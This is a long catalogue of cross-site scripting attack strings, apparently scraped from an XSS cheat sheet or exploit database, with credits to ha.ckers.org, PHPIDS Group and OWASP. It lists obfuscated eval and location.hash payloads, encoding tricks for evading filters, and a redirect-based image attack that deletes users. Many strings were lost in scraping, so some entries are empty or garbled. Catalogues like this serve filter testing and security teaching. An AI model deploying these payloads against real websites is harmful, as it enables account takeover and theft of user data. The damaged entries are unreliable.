Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated Author Name: thespanner.co.uk BASE Exploit Name: BASE Exploit String: Exploit Description: Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like ”images/image.jpg” rather than full paths.

Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.

Exploit Description: Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.

Exploit Description: This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. Exploit Tags: general, evil tags Author Name: ha.ckers.org IMG Embedded commands 2 Exploit Name: IMG Embedded commands 2 Exploit String: Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Exploit Description: IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal

could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).

Exploit Tags: general, evil tags, internet explorer, injection Author Name: ha.ckers.org Long UTF-8 Unicode w/out Semicolons Exploit Name: Long UTF-8 Unicode w/out Semicolons Exploit String: Exploit Description: Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for ”&#XX;”, since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).

While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example ” Exploit Description: Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks.

Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char).

Exploit Tags: general, xml predicates, obfuscated, gecko Author Name: PHPIDS Group Obfuscated XML predicate vector variation 2 Exploit Name: Obfuscated XML predicate vector variation 2 Exploit String: s1=~~evalalerta(1)a~~,s2=+'',s3=s1+s2,e1=/s/!=/s/?s3[0]: 0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/ s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/ s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]: 0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]: 0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a) Exploit Description: This vector uses XML predicates to obfuscate its payload and the fact that you can use underscores as XML tags. Also a concatenation via ternary operator is being used. Exploit Tags: general, xml predicates, obfuscated, gecko Author Name: PHPIDS Group Obfuscated XML predicate vector variation 3 Exploit Name: Obfuscated XML predicate vector variation 3 Exploit String: o={x:''+~~eva~~+l,y:''+~~aler~~+t+(1)};function f() { 0[this.x](this.y) }f.call(o); Exploit Description: This vector uses XML predicates to obfuscate its payload. The payload is furthermore wrapped into JSON literals for more obfuscation. Exploit Tags: general, xml predicates, obfuscated, gecko, JSON Author Name: .mario Obfuscated XSS variant 1 Exploit Name: Obfuscated XSS variant 1 Exploit String: ___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___) Exploit Description: Shuffled and obfuscated function calls Exploit Tags: general, obfuscated Author Name: PHPIDS Group OBJECT Exploit Name: OBJECT Exploit String: Exploit Description: If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS Exploit Tags: general, evil tags Author Name: ha.ckers.org OBJECT w/Embedded XSS Exploit Name: OBJECT w/Embedded XSS Exploit String: Exploit Description: Using an OBJECT tag you can embed XSS directly (this is unverified). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org OBJECT w/Flash 2 Exploit Name: OBJECT w/Flash 2 Exploit String: a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";eval(a+b+c+d); Exploit Description: Using this action script inside flash can obfuscate your XSS vector. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Octal Encoding Exploit Name: Octal Encoding Exploit String: XSS Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed). Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Open string contained in name property Exploit Name: Open string contained in name property Exploit String: open(name) Exploit Description: This very simple but effective vector uses the open method on the name property. Exploit Tags: general, super short, self contained Author Name: SIrDarckCat PHP Exploit Name: PHP Exploit String: alert("XSS")'); ?> Exploit Description: PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Plain JavaScript alert Exploit Name: Plain JavaScript alert Exploit String: alert(1) Exploit Description: This very basic exploit works on surprisingly many pages - no real danger but bad image. Exploit Tags: general, basic, super short Author Name: .mario Protocol Resolution Bypass Exploit Name: Protocol Resolution Bypass Exploit String: XSS Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed). Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like ”(ht|f)tp(s)?://” (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the ”//” to ”\\”. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Protocol resolution in script tags Exploit Name: Protocol resolution in script tags Exploit String: tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ”.j” is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org RegExp based, and native C filter vector. Exploit Name: RegExp based, and native C filter vector. Exploit String: 0%0d%0a%00 Exploit Description: Assuming you can only fit in a few characters and it filters against ”.js” you can rename your JavaScript file to an image as an XSS vector. Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org res:// installed software probing Exploit Name: res:// installed software probing Exploit String: res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210 Exploit Description: This res-uri can be used to probe for certain software in IE. Exploit Tags: URI exploits, injection, general, obfuscated, internet explorer Author Name: xs-sniper SCRIPT w/Alert() Exploit Name: SCRIPT w/Alert() Exploit String: Exploit Description: Basic injection attack Exploit Tags: general, evil tags, basic Author Name: ha.ckers.org SCRIPT w/Char Code Exploit Name: SCRIPT w/Char Code Exploit String: Exploit Description: Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word ”XSS” will pop up. Exploit Tags: general, evil tags, obfuscated, basic Author Name: ha.ckers.org SCRIPT w/Source File Exploit Name: SCRIPT w/Source File Exploit String: Exploit Description: No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). Exploit Tags: general, evil tags, basic, injection Author Name: ha.ckers.org Self-contained XSS variant 1 Exploit Name: Self-contained XSS variant 1 Exploit String: a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1)) Exploit Description: Concatenates obfuscated eval() and substr() to be called on location.hash Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 2 Exploit Name: Self-contained XSS variant 2 Exploit String: a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b)) Exploit Description: Concatenates fragmented functions to evakuate the location hash Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 3 Exploit Name: Self-contained XSS variant 3 Exploit String: eval.call(this,unescape.call(this,location)) Exploit Description: Uses call() and eval() to access the payload in the fragment identifier Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 4 Exploit Name: Self-contained XSS variant 4 Exploit String: d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b))) Exploit Description: This one is pretty hard to detect due to the total fragmentation. Fragments are built together to a self-executing function. Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 5 Exploit Name: Self-contained XSS variant 5 Exploit String: l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a Exploit Description: This variant has the function fragments shuffled to evade concatenation filters and is thus very hard to detect. Exploit Tags: general, self contained, shuffled Author Name: PHPIDS Group Self-contained XSS variant 6 Exploit Name: Self-contained XSS variant 6 Exploit String: _=eval,__=unescape,___=document.URL,_(__(___)) Exploit Description: Since Javascript allows \w+ as variable name - this vector uses _ to evade filters. Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 7 Exploit Name: Self-contained XSS variant 7 Exploit String: $_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__) Exploit Description: Uses special characters as variable names and self-executes the concatenated payload trigger. Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 8 Exploit Name: Self-contained XSS variant 8 Exploit String: $=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($)) Exploit Description: This time $ is used to obfuscate the self-executing payload trigger. Exploit Tags: general, self contained Author Name: PHPIDS Group Self-contained XSS variant 9 Exploit Name: Self-contained XSS variant 9 Exploit String: evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7[evil](cod) Exploit Description: This more than sophisticated vector is hard to explain - it' creator did here: http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13409 Exploit Tags: general, self contained, shuffled Author Name: PHPIDS Group Self-containing XSS with no dots Exploit Name: Self-containing XSS with no dots Exploit String: with(location)with(hash)eval(substring(1)) Exploit Description: This vector uses with() to activate the payload behind the fragment identifier. No dots are used to enable easier filter evasion. Exploit Tags: general, super short, self contained Author Name: ma1 Spaces/Meta Chars Exploit Name: Spaces/Meta Chars Exploit String: Exploit Description: Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word ”javascript:” - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the ”javascript:” keyword. The actual reality is you can have any char from 1-32 in decimal). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org SSI Exploit Name: SSI Exploit String: Exploit Description: SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. Exploit Tags: general, evil tags, obfuscated, SSI, injection Author Name: ha.ckers.org STYLE Exploit Name: STYLE Exploit String: Exploit Description: STYLE tag (Older versions of Netscape only) Exploit Tags: general, evil tags, style injection, gecko Author Name: ha.ckers.org Style injection via content and double-eval Exploit Name: Style injection via content and double-eval Exploit String: Exploit Description: This vector utilizes the CSS content property and fetches it off the document.styleSheets property afterwards. For correct execution of the payload a double-eval is needed. Exploit Tags: general, onfuscated, style injection Author Name: .mario STYLE w/Anonymous HTML Exploit Name: STYLE w/Anonymous HTML Exploit String: Exploit Description: Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org STYLE w/background Exploit Name: STYLE w/background Exploit String: Exploit Description: STYLE tag using background. Exploit Tags: general, evil tags, injection, internet explorer Author Name: ha.ckers.org STYLE w/background-image Exploit Name: STYLE w/background-image Exploit String: Exploit Description: STYLE tag using background-image. Exploit Tags: general, evil tags, internet explorer, style injection Author Name: ha.ckers.org STYLE w/broken up JavaScript Exploit Name: STYLE w/broken up JavaScript Exploit String: Exploit Description: STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). Exploit Tags: general, evil tags, style injection, internet explorer Author Name: ha.ckers.org STYLE w/Comment Exploit Name: STYLE w/Comment Exploit String: Exploit Description: STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) Exploit Tags: general, evil tags, style injection, internet explorer Author Name: ha.ckers.org Stylesheet Exploit Name: Stylesheet Exploit String: Exploit Description: Stylesheet Exploit Tags: general, evil tags Author Name: ha.ckers.org Style-breaker using obfuscated JavaScript Exploit Name: Style-breaker using obfuscated JavaScript Exploit String: } Exploit Description: This vector ends styleblocks and uses obfuscated JavaScript to create an alert.

Exploit Tags: general, html breaking, obfuscated, user interaction Author Name: kishor Unicode encoded script tags Exploit Name: Unicode encoded script tags Exploit String: '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e' Exploit Description: This vector uses unicode encoded codepoints to create a script tag producing an alert. Exploit Tags: general, basic, obfuscated, evil tags Author Name: OWASP URL breaker for double quotes Exploit Name: URL breaker for double quotes Exploit String: http://aa"> Exploit Description: This vector breaks double quoted URL input Exploit Tags: URL breaking, general, basic, html breaking Author Name: .mario URL breaker for single quotes Exploit Name: URL breaker for single quotes Exploit String: http://aa'> Exploit Description: This vector breaks single quoted URL input Exploit Tags: URL breaking, basic, general, html breaking Author Name: .mario URL encoded image source Exploit Name: URL encoded image source Exploit String: >%22%27> Exploit Description: This vector utilizes an urlencoded JS image source to create an alert. Exploit Tags: general, basic, obfuscated, internet explorer Author Name: OWASP URL Encoding Exploit Name: URL Encoding Exploit String: XSS Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed). Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org URL-breaking vector Exploit Name: URL-breaking vector Exploit String: http://aa Exploit Description: This vector is a basic URL breaker - embedding an alert in a URL-like wrapper. Exploit Tags: general, URL breaking, basic Author Name: kishor US-ASCII encoding Exploit Name: US-ASCII encoding Exploit String: %BCscript%BEalert(%A2XSS%A2)%BC/script%BE Exploit Description: Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org UTF-7 Encoding Exploit Name: UTF-7 Encoding Exploit String: +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- Exploit Description: UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org UTF-8 Unicode Encoding Exploit Name: UTF-8 Unicode Encoding Exploit String: Exploit Description: UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org with() executing alert via document.__parent__ Exploit Name: with() executing alert via document.__parent__ Exploit String: with(document.__parent__)alert(1) Exploit Description: This vector uses the __parent__ property combined with with() to execute an alert. Exploit Tags: general, super short, obfuscated, gecko, __property__ Author Name: .mario XML data island w/CDATA Exploit Name: XML data island w/CDATA Exploit String: ]]> Exploit Description: XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. Exploit Tags: general, evil tags, obfuscated, XML injection Author Name: ha.ckers.org XML data island w/comment Exploit Name: XML data island w/comment Exploit String: Exploit Description: XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) Exploit Tags: general, evil tags, obfuscated, XML injection Author Name: ha.ckers.org XML HTML+TIME Exploit Name: XML HTML+TIME Exploit String: Exploit Description: HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. Exploit Tags: general, evil tags, obfuscated, XML injection Author Name: ha.ckers.org XML namespace Exploit Name: XML namespace Exploit String: XSS Exploit Description: XML namespace. The .htc file must be located on the server as your XSS vector.
